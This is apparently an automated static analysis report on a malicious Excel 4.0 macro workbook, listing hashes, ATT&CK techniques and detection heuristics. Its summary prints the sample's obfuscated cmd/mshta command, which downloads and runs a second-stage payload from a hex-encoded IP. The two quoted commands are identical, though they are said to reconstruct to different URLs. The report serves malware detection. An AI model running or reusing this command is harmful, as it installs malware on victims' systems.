Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 1cba7cee830f0b6e…

MALICIOUS

Office (OLE) / .XLS

64.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: a0fe70d9a1ba118ffe383b39aeeb5f63 SHA-1: 5900f31783fd125c08c64f42a45f17d7b6487d3d SHA-256: 1cba7cee830f0b6ef85c1688a32ed9a4607cd7144c1e673e06199e9e35156203
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell T1204.001 User Execution: Malicious Link T1566.001 Phishing: Spearphishing Attachment T1027 Obfuscation

The sample uses a 'version conversion' lure in the document body to trick the user into enabling macros. The embedded Excel 4.0 (XLM) macros utilize an Auto_Open trigger to execute the command 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' and 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c.html' (reconstructed as http://0xc12a24f5/c.html and http://0xc12a24f5/cc.html) to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes